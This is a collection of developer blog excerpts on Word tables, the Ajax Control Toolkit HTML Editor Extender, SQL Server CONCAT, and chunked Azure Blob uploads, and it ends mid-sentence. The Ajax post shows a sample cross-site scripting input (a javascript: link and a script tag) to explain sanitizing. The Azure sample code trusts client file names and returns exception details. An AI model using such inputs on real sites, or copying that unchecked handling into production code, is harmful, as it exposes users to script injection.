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  • Table Formatting in Word

    - by user359217
    I have a table in Word which is 5 columns wide and multiple rows. In Row 3, cells 1, 2, 3 & 5 have simple text. Cell 4 contains a large quantity of text and therefore needs to wrap over several pages. Therefore, I mark "Allow row to break across pages". Problem: on next page where row has wrapped, cells 1, 2, 3 & 5 are blank with cell 4 displaying the wrapped text. Is there any way that I can get the simple text from Row 3, cells 1, 2 and 3 to repeat on the pages which contain the wrapped text of cell 4? I do not want the data to be in the table heading, as I have multiple rows which have a similar volume of text.

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  • Ajax Control Toolkit July 2011 Release and the New HTML Editor Extender

    - by Stephen Walther
    I’m happy to announce the July 2011 release of the Ajax Control Toolkit which includes important bug fixes and a completely new HTML Editor Extender control. You can download the July 2011 Release by visiting the Ajax Control Toolkit CodePlex site at: http://AjaxControlToolkit.CodePlex.com Using the New HTML Editor Extender Control You can use the new HTML Editor Extender to extend any standard ASP.NET TextBox control so that it supports rich formatting such as bold, italics, bulleted lists, numbered lists, typefaces and different foreground and background colors. The following code illustrates how you can extend a standard ASP.NET TextBox control with the HtmlEditorExtender: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Simple.aspx.cs" Inherits="WebApplication1.Simple" %> <%@ Register TagPrefix="asp" Namespace="AjaxControlToolkit" Assembly="AjaxControlToolkit" %> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title>Simple</title> </head> <body> <form id="form1" runat="server"> <asp:ToolkitScriptManager runat="Server" /> <asp:TextBox ID="txtComments" TextMode="MultiLine" Columns="60" Rows="8" runat="server" /> <asp:HtmlEditorExtender TargetControlID="txtComments" runat="server" /> </form> </body> </html> This page has the following three controls: ToolkitScriptManager – The ToolkitScriptManager renders all of the scripts required by the Ajax Control Toolkit. TextBox – The TextBox control is a standard ASP.NET TextBox which is set to display multiple lines (a TextArea instead of an Input element). HtmlEditorExtender – The HtmlEditorExtender is set to extend the TextBox control. You can use the standard TextBox Text property to read the rich text entered into the TextBox control on the server. Lightweight and HTML5 The HTML Editor Extender works on all modern browsers including the most recent versions of Mozilla Firefox (Firefox 5), Google Chrome (Chrome 12), and Apple Safari (Safari 5). Furthermore, the HTML Editor Extender is compatible with Microsoft Internet Explorer 6 and newer. The HTML Editor Extender is very lightweight. It takes advantage of the HTML5 ContentEditable attribute so it does not require an iframe or complex browser workarounds. If you select View Source in your browser while using the HTML Editor Extender, we hope that you will be pleasantly surprised by how little markup and script is generated by the HTML Editor Extender. Customizable Toolbar Buttons Depending on the web application that you are building, you will want to display different toolbar buttons with the HTML Editor Extender. One of the design goals of the HTML Editor Extender was to make it very easy for you to customize the toolbar buttons. Imagine, for example, that you want to use the HTML Editor Extender when accepting comments on blog posts. In that case, you might want to restrict the type of formatting that a user can display. You might want to enable a user to format text as bold or italic but you do not want the user to make any other formatting changes. The following page illustrates how you can customize the HTML Editor Extender toolbar: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="CustomToolbar.aspx.cs" Inherits="WebApplication1.CustomToolbar" %> <%@ Register TagPrefix="asp" Namespace="AjaxControlToolkit" Assembly="AjaxControlToolkit" %> <html> <head runat="server"> <title>Custom Toolbar</title> </head> <body> <form id="form1" runat="server"> <asp:ToolkitScriptManager Runat="server" /> <asp:TextBox ID="txtComments" TextMode="MultiLine" Columns="50" Rows="10" Text="Hello <b>world!</b>" Runat="server" /> <asp:HtmlEditorExtender TargetControlID="txtComments" runat="server"> <Toolbar> <asp:Bold /> <asp:Italic /> </Toolbar> </asp:HtmlEditorExtender> </form> </body> </html> Notice that the HTML Editor Extender in the page above has a Toolbar subtag. You can list the toolbar buttons which you want to appear within the subtag. In the case above, only Bold and Italic buttons are displayed. Here is a complete list of the Toolbar buttons currently supported by the HTML Editor Extender: Undo Redo Bold Italic Underline StrikeThrough Subscript Superscript JustifyLeft JustifyCenter JustifyRight JustifyFull InsertOrderedList InsertUnorderedList CreateLink UnLink RemoveFormat SelectAll UnSelect Delete Cut Copy Paste BackgroundColorSelector ForeColorSelector FontNameSelector FontSizeSelector Indent Outdent InsertHorizontalRule HorizontalSeparator Of course the HTML Editor Extender was designed to be extensible. You can create your own buttons and add them to the control. Compatible with the AntiXSS Library When using the HTML Editor Extender on a public facing website, we strongly recommend that you use the HTML Editor Extender with the AntiXSS Library. If you allow users to submit arbitrary HTML, and you don’t take any action to strip out malicious markup, then you are opening your website to Cross-Site Scripting Attacks (XSS attacks). The HTML Editor Extender uses the Provider Model to support different Sanitizer Providers. The July 2011 release of the Ajax Control Toolkit ships with a single Sanitizer Provider which uses the AntiXSS library (see http://AntiXss.CodePlex.com ). A Sanitizer Provider is responsible for sanitizing HTML markup by removing any malicious elements, attributes, and attribute values. For example, the AntiXss Sanitizer Provider will take the following block of HTML: <b><a href=""javascript:doEvil()"">Visit Grandma</a></b> <script>doEvil()</script> And return the following sanitized block of HTML: <b><a href="">Visit Grandma</a></b> Notice that the JavaScript href and <SCRIPT> tag are both stripped out. Be aware that there are a depressingly large number of ways to sneak evil markup into your HTML. You definitely want a Sanitizer as a safety net. Before you can use the AntiXSS Sanitizer Provider, you must add three assemblies to your web application: AntiXSSLibrary.dll, HtmlSanitizationLibrary.dll, and SanitizerProviders.dll. All three assemblies are included with the CodePlex download of the Ajax Control Toolkit in the SanitizerProviders folder. Here’s how you modify your web.config file to use the AntiXSS Sanitizer Provider: <configuration> <configSections> <sectionGroup name="system.web"> <section name="sanitizer" requirePermission="false" type="AjaxControlToolkit.Sanitizer.ProviderSanitizerSection, AjaxControlToolkit"/> </sectionGroup> </configSections> <system.web> <compilation targetFramework="4.0" debug="true"/> <sanitizer defaultProvider="AntiXssSanitizerProvider"> <providers> <add name="AntiXssSanitizerProvider" type="AjaxControlToolkit.Sanitizer.AntiXssSanitizerProvider"></add> </providers> </sanitizer> </system.web> </configuration> You can detect whether the HTML Editor Extender is using the AntiXSS Sanitizer Provider by checking the HtmlEditorExtender SanitizerProvider property like this: if (MyHtmlEditorExtender.SanitizerProvider == null) { throw new Exception("Please enable the AntiXss Sanitizer!"); } When the SanitizerProvider property has the value null, you know that a Sanitizer Provider has not been configured in the web.config file. Because the AntiXSS library requires Full Trust, you cannot use the AntiXSS Sanitizer Provider with most shared website hosting providers. Because most shared hosting providers only support Medium Trust and not Full Trust, we do not recommend using the HTML Editor Extender with a public website hosted with a shared hosting provider. Why a New HTML Editor Control? The Ajax Control Toolkit now includes two HTML Editor controls. Why did we introduce a new HTML Editor control when there was already an existing HTML Editor? We think you will like the new HTML Editor much more than the previous one. We had several goals with the new HTML Editor Extender: Lightweight – We wanted to leverage HTML5 to create a lightweight HTML Editor. The new HTML Editor generates much less markup and script than the previous HTML Editor. Secure – We wanted to make it easy to integrate the AntiXSS library with the HTML Editor. If you are creating a public facing website, we strongly recommend that you use the AntiXSS Provider. Customizable – We wanted to make it easy for users to customize the toolbar buttons displayed by the HTML Editor. Compatibility – We wanted to ensure that the HTML Editor will work with the latest versions of the most popular browsers (including Internet Explorer 6 and higher). The old HTML Editor control is still included in the Ajax Control Toolkit and continues to live in the AjaxControlToolkit.HTMLEditor namespace. We have not modified the control and you can continue to use the control in the same way as you have used it in the past. However, we hope that you will consider migrating to the new HTML Editor Extender for the reasons listed above. Summary We’ve introduced a new Ajax Control Toolkit control with this release. I want to thank the developers and testers on the Superexpert team for the huge amount of work which they put into this control. It was a non-trivial task to build an entirely new control which has the complexity of the HTML Editor in less than 6 weeks. Please let us know what you think! We want to hear your feedback. If you discover issues with the new HTML Editor Extender control, or you have questions about the control, or you have ideas for how it can be improved, then please post them to this blog. Tomorrow starts a new sprint

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  • SQL SERVER – Concat Strings in SQL Server using T-SQL – SQL in Sixty Seconds #035 – Video

    - by pinaldave
    Concatenating  string is one of the most common tasks in SQL Server and every developer has to come across it. We have to concat the string when we have to see the display full name of the person by first name and last name. In this video we will see various methods to concatenate the strings. SQL Server 2012 has introduced new function CONCAT which concatenates the strings much efficiently. When we concat values with ‘+’ in SQL Server we have to make sure that values are in string format. However, when we attempt to concat integer we have to convert the integers to a string or else it will throw an error. However, with the newly introduce the function of CONCAT in SQL Server 2012 we do not have to worry about this kind of issue. It concatenates strings and integers without casting or converting them. You can specify various values as a parameter to CONCAT functions and it concatenates them together. Let us see how to concat the values in Sixty Seconds: Here is the script which is used in the video. -- Method 1: Concatenating two strings SELECT 'FirstName' + ' ' + 'LastName' AS FullName -- Method 2: Concatenating two Numbers SELECT CAST(1 AS VARCHAR(10)) + ' ' + CAST(2 AS VARCHAR(10)) -- Method 3: Concatenating values of table columns SELECT FirstName + ' ' + LastName AS FullName FROM AdventureWorks2012.Person.Person -- Method 4: SQL Server 2012 CONCAT function SELECT CONCAT('FirstName' , ' ' , 'LastName') AS FullName -- Method 5: SQL Server 2012 CONCAT function SELECT CONCAT('FirstName' , ' ' , 1) AS FullName Related Tips in SQL in Sixty Seconds: SQL SERVER – Concat Function in SQL Server – SQL Concatenation String Function – CONCAT() – A Quick Introduction 2012 Functions – FORMAT() and CONCAT() – An Interesting Usage A Quick Trick about SQL Server 2012 CONCAT Function – PRINT A Quick Trick about SQL Server 2012 CONCAT function What would you like to see in the next SQL in Sixty Seconds video? Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Database, Pinal Dave, PostADay, SQL, SQL Authority, SQL in Sixty Seconds, SQL Query, SQL Scripts, SQL Server, SQL Server Management Studio, SQL Tips and Tricks, T SQL, Technology, Video Tagged: Excel

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  • SQL SERVER – Concat Function in SQL Server – SQL Concatenation

    - by pinaldave
    Earlier this week, I was delivering Advanced BI training on the subject of “SQL Server 2008 R2″. I had great time delivering the session. During the session, we talked about SQL Server 2010 Denali. Suddenly one of the attendees suggested his displeasure for the product. He said, even though, SQL Server is now in moving very fast and have proved many times a good enterprise solution, it does not have some basic functions. I naturally asked him for example and he suggested CONCAT() which exists in MySQL and Oracle. The answer is very simple – the equalent function in SQL Server to CONCAT() is ‘+’ (plus operator without quotes). Method 1: Concatenating two strings SELECT 'FirstName' + ' ' + 'LastName' AS FullName Method 2: Concatenating two Numbers SELECT CAST(1 AS VARCHAR(10)) + 'R' + CAST(2 AS VARCHAR(10)) Method 3: Concatenating values from table columns SELECT FirstName + ' ' + LastName FROM AdventureWorks.Person.Contact Well, this may look very simple but sometime it is very difficult to find the information for simple things only. Do you have any such example which you would like to share with community? Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL String, SQL Tips and Tricks, T SQL, Technology

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  • Upload File to Windows Azure Blob in Chunks through ASP.NET MVC, JavaScript and HTML5

    - by Shaun
    Originally posted on: http://geekswithblogs.net/shaunxu/archive/2013/07/01/upload-file-to-windows-azure-blob-in-chunks-through-asp.net.aspxMany people are using Windows Azure Blob Storage to store their data in the cloud. Blob storage provides 99.9% availability with easy-to-use API through .NET SDK and HTTP REST. For example, we can store JavaScript files, images, documents in blob storage when we are building an ASP.NET web application on a Web Role in Windows Azure. Or we can store our VHD files in blob and mount it as a hard drive in our cloud service. If you are familiar with Windows Azure, you should know that there are two kinds of blob: page blob and block blob. The page blob is optimized for random read and write, which is very useful when you need to store VHD files. The block blob is optimized for sequential/chunk read and write, which has more common usage. Since we can upload block blob in blocks through BlockBlob.PutBlock, and them commit them as a whole blob with invoking the BlockBlob.PutBlockList, it is very powerful to upload large files, as we can upload blocks in parallel, and provide pause-resume feature. There are many documents, articles and blog posts described on how to upload a block blob. Most of them are focus on the server side, which means when you had received a big file, stream or binaries, how to upload them into blob storage in blocks through .NET SDK.  But the problem is, how can we upload these large files from client side, for example, a browser. This questioned to me when I was working with a Chinese customer to help them build a network disk production on top of azure. The end users upload their files from the web portal, and then the files will be stored in blob storage from the Web Role. My goal is to find the best way to transform the file from client (end user’s machine) to the server (Web Role) through browser. In this post I will demonstrate and describe what I had done, to upload large file in chunks with high speed, and save them as blocks into Windows Azure Blob Storage.   Traditional Upload, Works with Limitation The simplest way to implement this requirement is to create a web page with a form that contains a file input element and a submit button. 1: @using (Html.BeginForm("About", "Index", FormMethod.Post, new { enctype = "multipart/form-data" })) 2: { 3: <input type="file" name="file" /> 4: <input type="submit" value="upload" /> 5: } And then in the backend controller, we retrieve the whole content of this file and upload it in to the blob storage through .NET SDK. We can split the file in blocks and upload them in parallel and commit. The code had been well blogged in the community. 1: [HttpPost] 2: public ActionResult About(HttpPostedFileBase file) 3: { 4: var container = _client.GetContainerReference("test"); 5: container.CreateIfNotExists(); 6: var blob = container.GetBlockBlobReference(file.FileName); 7: var blockDataList = new Dictionary<string, byte[]>(); 8: using (var stream = file.InputStream) 9: { 10: var blockSizeInKB = 1024; 11: var offset = 0; 12: var index = 0; 13: while (offset < stream.Length) 14: { 15: var readLength = Math.Min(1024 * blockSizeInKB, (int)stream.Length - offset); 16: var blockData = new byte[readLength]; 17: offset += stream.Read(blockData, 0, readLength); 18: blockDataList.Add(Convert.ToBase64String(BitConverter.GetBytes(index)), blockData); 19:  20: index++; 21: } 22: } 23:  24: Parallel.ForEach(blockDataList, (bi) => 25: { 26: blob.PutBlock(bi.Key, new MemoryStream(bi.Value), null); 27: }); 28: blob.PutBlockList(blockDataList.Select(b => b.Key).ToArray()); 29:  30: return RedirectToAction("About"); 31: } This works perfect if we selected an image, a music or a small video to upload. But if I selected a large file, let’s say a 6GB HD-movie, after upload for about few minutes the page will be shown as below and the upload will be terminated. In ASP.NET there is a limitation of request length and the maximized request length is defined in the web.config file. It’s a number which less than about 4GB. So if we want to upload a really big file, we cannot simply implement in this way. Also, in Windows Azure, a cloud service network load balancer will terminate the connection if exceed the timeout period. From my test the timeout looks like 2 - 3 minutes. Hence, when we need to upload a large file we cannot just use the basic HTML elements. Besides the limitation mentioned above, the simple HTML file upload cannot provide rich upload experience such as chunk upload, pause and pause-resume. So we need to find a better way to upload large file from the client to the server.   Upload in Chunks through HTML5 and JavaScript In order to break those limitation mentioned above we will try to upload the large file in chunks. This takes some benefit to us such as - No request size limitation: Since we upload in chunks, we can define the request size for each chunks regardless how big the entire file is. - No timeout problem: The size of chunks are controlled by us, which means we should be able to make sure request for each chunk upload will not exceed the timeout period of both ASP.NET and Windows Azure load balancer. It was a big challenge to upload big file in chunks until we have HTML5. There are some new features and improvements introduced in HTML5 and we will use them to implement our solution.   In HTML5, the File interface had been improved with a new method called “slice”. It can be used to read part of the file by specifying the start byte index and the end byte index. For example if the entire file was 1024 bytes, file.slice(512, 768) will read the part of this file from the 512nd byte to 768th byte, and return a new object of interface called "Blob”, which you can treat as an array of bytes. In fact,  a Blob object represents a file-like object of immutable, raw data. The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system. For more information about the Blob please refer here. File and Blob is very useful to implement the chunk upload. We will use File interface to represent the file the user selected from the browser and then use File.slice to read the file in chunks in the size we wanted. For example, if we wanted to upload a 10MB file with 512KB chunks, then we can read it in 512KB blobs by using File.slice in a loop.   Assuming we have a web page as below. User can select a file, an input box to specify the block size in KB and a button to start upload. 1: <div> 2: <input type="file" id="upload_files" name="files[]" /><br /> 3: Block Size: <input type="number" id="block_size" value="512" name="block_size" />KB<br /> 4: <input type="button" id="upload_button_blob" name="upload" value="upload (blob)" /> 5: </div> Then we can have the JavaScript function to upload the file in chunks when user clicked the button. 1: <script type="text/javascript"> 1: 2: $(function () { 3: $("#upload_button_blob").click(function () { 4: }); 5: });</script> Firstly we need to ensure the client browser supports the interfaces we are going to use. Just try to invoke the File, Blob and FormData from the “window” object. If any of them is “undefined” the condition result will be “false” which means your browser doesn’t support these premium feature and it’s time for you to get your browser updated. FormData is another new feature we are going to use in the future. It could generate a temporary form for us. We will use this interface to create a form with chunk and associated metadata when invoked the service through ajax. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: if (window.File && window.Blob && window.FormData) { 4: alert("Your brwoser is awesome, let's rock!"); 5: } 6: else { 7: alert("Oh man plz update to a modern browser before try is cool stuff out."); 8: return; 9: } 10: }); Each browser supports these interfaces by their own implementation and currently the Blob, File and File.slice are supported by Chrome 21, FireFox 13, IE 10, Opera 12 and Safari 5.1 or higher. After that we worked on the files the user selected one by one since in HTML5, user can select multiple files in one file input box. 1: var files = $("#upload_files")[0].files; 2: for (var i = 0; i < files.length; i++) { 3: var file = files[i]; 4: var fileSize = file.size; 5: var fileName = file.name; 6: } Next, we calculated the start index and end index for each chunks based on the size the user specified from the browser. We put them into an array with the file name and the index, which will be used when we upload chunks into Windows Azure Blob Storage as blocks since we need to specify the target blob name and the block index. At the same time we will store the list of all indexes into another variant which will be used to commit blocks into blob in Azure Storage once all chunks had been uploaded successfully. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10:  11: // calculate the start and end byte index for each blocks(chunks) 12: // with the index, file name and index list for future using 13: var blockSizeInKB = $("#block_size").val(); 14: var blockSize = blockSizeInKB * 1024; 15: var blocks = []; 16: var offset = 0; 17: var index = 0; 18: var list = ""; 19: while (offset < fileSize) { 20: var start = offset; 21: var end = Math.min(offset + blockSize, fileSize); 22:  23: blocks.push({ 24: name: fileName, 25: index: index, 26: start: start, 27: end: end 28: }); 29: list += index + ","; 30:  31: offset = end; 32: index++; 33: } 34: } 35: }); Now we have all chunks’ information ready. The next step should be upload them one by one to the server side, and at the server side when received a chunk it will upload as a block into Blob Storage, and finally commit them with the index list through BlockBlobClient.PutBlockList. But since all these invokes are ajax calling, which means not synchronized call. So we need to introduce a new JavaScript library to help us coordinate the asynchronize operation, which named “async.js”. You can download this JavaScript library here, and you can find the document here. I will not explain this library too much in this post. We will put all procedures we want to execute as a function array, and pass into the proper function defined in async.js to let it help us to control the execution sequence, in series or in parallel. Hence we will define an array and put the function for chunk upload into this array. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4:  5: // start to upload each files in chunks 6: var files = $("#upload_files")[0].files; 7: for (var i = 0; i < files.length; i++) { 8: var file = files[i]; 9: var fileSize = file.size; 10: var fileName = file.name; 11: // calculate the start and end byte index for each blocks(chunks) 12: // with the index, file name and index list for future using 13: ... ... 14:  15: // define the function array and push all chunk upload operation into this array 16: blocks.forEach(function (block) { 17: putBlocks.push(function (callback) { 18: }); 19: }); 20: } 21: }); 22: }); As you can see, I used File.slice method to read each chunks based on the start and end byte index we calculated previously, and constructed a temporary HTML form with the file name, chunk index and chunk data through another new feature in HTML5 named FormData. Then post this form to the backend server through jQuery.ajax. This is the key part of our solution. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: blocks.forEach(function (block) { 15: putBlocks.push(function (callback) { 16: // load blob based on the start and end index for each chunks 17: var blob = file.slice(block.start, block.end); 18: // put the file name, index and blob into a temporary from 19: var fd = new FormData(); 20: fd.append("name", block.name); 21: fd.append("index", block.index); 22: fd.append("file", blob); 23: // post the form to backend service (asp.net mvc controller action) 24: $.ajax({ 25: url: "/Home/UploadInFormData", 26: data: fd, 27: processData: false, 28: contentType: "multipart/form-data", 29: type: "POST", 30: success: function (result) { 31: if (!result.success) { 32: alert(result.error); 33: } 34: callback(null, block.index); 35: } 36: }); 37: }); 38: }); 39: } 40: }); Then we will invoke these functions one by one by using the async.js. And once all functions had been executed successfully I invoked another ajax call to the backend service to commit all these chunks (blocks) as the blob in Windows Azure Storage. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: ... ... 15: // invoke the functions one by one 16: // then invoke the commit ajax call to put blocks into blob in azure storage 17: async.series(putBlocks, function (error, result) { 18: var data = { 19: name: fileName, 20: list: list 21: }; 22: $.post("/Home/Commit", data, function (result) { 23: if (!result.success) { 24: alert(result.error); 25: } 26: else { 27: alert("done!"); 28: } 29: }); 30: }); 31: } 32: }); That’s all in the client side. The outline of our logic would be - Calculate the start and end byte index for each chunks based on the block size. - Defined the functions of reading the chunk form file and upload the content to the backend service through ajax. - Execute the functions defined in previous step with “async.js”. - Commit the chunks by invoking the backend service in Windows Azure Storage finally.   Save Chunks as Blocks into Blob Storage In above we finished the client size JavaScript code. It uploaded the file in chunks to the backend service which we are going to implement in this step. We will use ASP.NET MVC as our backend service, and it will receive the chunks, upload into Windows Azure Bob Storage in blocks, then finally commit as one blob. As in the client side we uploaded chunks by invoking the ajax call to the URL "/Home/UploadInFormData", I created a new action under the Index controller and it only accepts HTTP POST request. 1: [HttpPost] 2: public JsonResult UploadInFormData() 3: { 4: var error = string.Empty; 5: try 6: { 7: } 8: catch (Exception e) 9: { 10: error = e.ToString(); 11: } 12:  13: return new JsonResult() 14: { 15: Data = new 16: { 17: success = string.IsNullOrWhiteSpace(error), 18: error = error 19: } 20: }; 21: } Then I retrieved the file name, index and the chunk content from the Request.Form object, which was passed from our client side. And then, used the Windows Azure SDK to create a blob container (in this case we will use the container named “test”.) and create a blob reference with the blob name (same as the file name). Then uploaded the chunk as a block of this blob with the index, since in Blob Storage each block must have an index (ID) associated with so that finally we can put all blocks as one blob by specifying their block ID list. 1: [HttpPost] 2: public JsonResult UploadInFormData() 3: { 4: var error = string.Empty; 5: try 6: { 7: var name = Request.Form["name"]; 8: var index = int.Parse(Request.Form["index"]); 9: var file = Request.Files[0]; 10: var id = Convert.ToBase64String(BitConverter.GetBytes(index)); 11:  12: var container = _client.GetContainerReference("test"); 13: container.CreateIfNotExists(); 14: var blob = container.GetBlockBlobReference(name); 15: blob.PutBlock(id, file.InputStream, null); 16: } 17: catch (Exception e) 18: { 19: error = e.ToString(); 20: } 21:  22: return new JsonResult() 23: { 24: Data = new 25: { 26: success = string.IsNullOrWhiteSpace(error), 27: error = error 28: } 29: }; 30: } Next, I created another action to commit the blocks into blob once all chunks had been uploaded. Similarly, I retrieved the blob name from the Request.Form. I also retrieved the chunks ID list, which is the block ID list from the Request.Form in a string format, split them as a list, then invoked the BlockBlob.PutBlockList method. After that our blob will be shown in the container and ready to be download. 1: [HttpPost] 2: public JsonResult Commit() 3: { 4: var error = string.Empty; 5: try 6: { 7: var name = Request.Form["name"]; 8: var list = Request.Form["list"]; 9: var ids = list 10: .Split(',') 11: .Where(id => !string.IsNullOrWhiteSpace(id)) 12: .Select(id => Convert.ToBase64String(BitConverter.GetBytes(int.Parse(id)))) 13: .ToArray(); 14:  15: var container = _client.GetContainerReference("test"); 16: container.CreateIfNotExists(); 17: var blob = container.GetBlockBlobReference(name); 18: blob.PutBlockList(ids); 19: } 20: catch (Exception e) 21: { 22: error = e.ToString(); 23: } 24:  25: return new JsonResult() 26: { 27: Data = new 28: { 29: success = string.IsNullOrWhiteSpace(error), 30: error = error 31: } 32: }; 33: } Now we finished all code we need. The whole process of uploading would be like this below. Below is the full client side JavaScript code. 1: <script type="text/javascript" src="~/Scripts/async.js"></script> 2: <script type="text/javascript"> 3: $(function () { 4: $("#upload_button_blob").click(function () { 5: // assert the browser support html5 6: if (window.File && window.Blob && window.FormData) { 7: alert("Your brwoser is awesome, let's rock!"); 8: } 9: else { 10: alert("Oh man plz update to a modern browser before try is cool stuff out."); 11: return; 12: } 13:  14: // start to upload each files in chunks 15: var files = $("#upload_files")[0].files; 16: for (var i = 0; i < files.length; i++) { 17: var file = files[i]; 18: var fileSize = file.size; 19: var fileName = file.name; 20:  21: // calculate the start and end byte index for each blocks(chunks) 22: // with the index, file name and index list for future using 23: var blockSizeInKB = $("#block_size").val(); 24: var blockSize = blockSizeInKB * 1024; 25: var blocks = []; 26: var offset = 0; 27: var index = 0; 28: var list = ""; 29: while (offset < fileSize) { 30: var start = offset; 31: var end = Math.min(offset + blockSize, fileSize); 32:  33: blocks.push({ 34: name: fileName, 35: index: index, 36: start: start, 37: end: end 38: }); 39: list += index + ","; 40:  41: offset = end; 42: index++; 43: } 44:  45: // define the function array and push all chunk upload operation into this array 46: var putBlocks = []; 47: blocks.forEach(function (block) { 48: putBlocks.push(function (callback) { 49: // load blob based on the start and end index for each chunks 50: var blob = file.slice(block.start, block.end); 51: // put the file name, index and blob into a temporary from 52: var fd = new FormData(); 53: fd.append("name", block.name); 54: fd.append("index", block.index); 55: fd.append("file", blob); 56: // post the form to backend service (asp.net mvc controller action) 57: $.ajax({ 58: url: "/Home/UploadInFormData", 59: data: fd, 60: processData: false, 61: contentType: "multipart/form-data", 62: type: "POST", 63: success: function (result) { 64: if (!result.success) { 65: alert(result.error); 66: } 67: callback(null, block.index); 68: } 69: }); 70: }); 71: }); 72:  73: // invoke the functions one by one 74: // then invoke the commit ajax call to put blocks into blob in azure storage 75: async.series(putBlocks, function (error, result) { 76: var data = { 77: name: fileName, 78: list: list 79: }; 80: $.post("/Home/Commit", data, function (result) { 81: if (!result.success) { 82: alert(result.error); 83: } 84: else { 85: alert("done!"); 86: } 87: }); 88: }); 89: } 90: }); 91: }); 92: </script> And below is the full ASP.NET MVC controller code. 1: public class HomeController : Controller 2: { 3: private CloudStorageAccount _account; 4: private CloudBlobClient _client; 5:  6: public HomeController() 7: : base() 8: { 9: _account = CloudStorageAccount.Parse(CloudConfigurationManager.GetSetting("DataConnectionString")); 10: _client = _account.CreateCloudBlobClient(); 11: } 12:  13: public ActionResult Index() 14: { 15: ViewBag.Message = "Modify this template to jump-start your ASP.NET MVC application."; 16:  17: return View(); 18: } 19:  20: [HttpPost] 21: public JsonResult UploadInFormData() 22: { 23: var error = string.Empty; 24: try 25: { 26: var name = Request.Form["name"]; 27: var index = int.Parse(Request.Form["index"]); 28: var file = Request.Files[0]; 29: var id = Convert.ToBase64String(BitConverter.GetBytes(index)); 30:  31: var container = _client.GetContainerReference("test"); 32: container.CreateIfNotExists(); 33: var blob = container.GetBlockBlobReference(name); 34: blob.PutBlock(id, file.InputStream, null); 35: } 36: catch (Exception e) 37: { 38: error = e.ToString(); 39: } 40:  41: return new JsonResult() 42: { 43: Data = new 44: { 45: success = string.IsNullOrWhiteSpace(error), 46: error = error 47: } 48: }; 49: } 50:  51: [HttpPost] 52: public JsonResult Commit() 53: { 54: var error = string.Empty; 55: try 56: { 57: var name = Request.Form["name"]; 58: var list = Request.Form["list"]; 59: var ids = list 60: .Split(',') 61: .Where(id => !string.IsNullOrWhiteSpace(id)) 62: .Select(id => Convert.ToBase64String(BitConverter.GetBytes(int.Parse(id)))) 63: .ToArray(); 64:  65: var container = _client.GetContainerReference("test"); 66: container.CreateIfNotExists(); 67: var blob = container.GetBlockBlobReference(name); 68: blob.PutBlockList(ids); 69: } 70: catch (Exception e) 71: { 72: error = e.ToString(); 73: } 74:  75: return new JsonResult() 76: { 77: Data = new 78: { 79: success = string.IsNullOrWhiteSpace(error), 80: error = error 81: } 82: }; 83: } 84: } And if we selected a file from the browser we will see our application will upload chunks in the size we specified to the server through ajax call in background, and then commit all chunks in one blob. Then we can find the blob in our Windows Azure Blob Storage.   Optimized by Parallel Upload In previous example we just uploaded our file in chunks. This solved the problem that ASP.NET MVC request content size limitation as well as the Windows Azure load balancer timeout. But it might introduce the performance problem since we uploaded chunks in sequence. In order to improve the upload performance we could modify our client side code a bit to make the upload operation invoked in parallel. The good news is that, “async.js” library provides the parallel execution function. If you remembered the code we invoke the service to upload chunks, it utilized “async.series” which means all functions will be executed in sequence. Now we will change this code to “async.parallel”. This will invoke all functions in parallel. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: ... ... 15: // invoke the functions one by one 16: // then invoke the commit ajax call to put blocks into blob in azure storage 17: async.parallel(putBlocks, function (error, result) { 18: var data = { 19: name: fileName, 20: list: list 21: }; 22: $.post("/Home/Commit", data, function (result) { 23: if (!result.success) { 24: alert(result.error); 25: } 26: else { 27: alert("done!"); 28: } 29: }); 30: }); 31: } 32: }); In this way all chunks will be uploaded to the server side at the same time to maximize the bandwidth usage. This should work if the file was not very large and the chunk size was not very small. But for large file this might introduce another problem that too many ajax calls are sent to the server at the same time. So the best solution should be, upload the chunks in parallel with maximum concurrency limitation. The code below specified the concurrency limitation to 4, which means at the most only 4 ajax calls could be invoked at the same time. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10: // calculate the start and end byte index for each blocks(chunks) 11: // with the index, file name and index list for future using 12: ... ... 13: // define the function array and push all chunk upload operation into this array 14: ... ... 15: // invoke the functions one by one 16: // then invoke the commit ajax call to put blocks into blob in azure storage 17: async.parallelLimit(putBlocks, 4, function (error, result) { 18: var data = { 19: name: fileName, 20: list: list 21: }; 22: $.post("/Home/Commit", data, function (result) { 23: if (!result.success) { 24: alert(result.error); 25: } 26: else { 27: alert("done!"); 28: } 29: }); 30: }); 31: } 32: });   Summary In this post we discussed how to upload files in chunks to 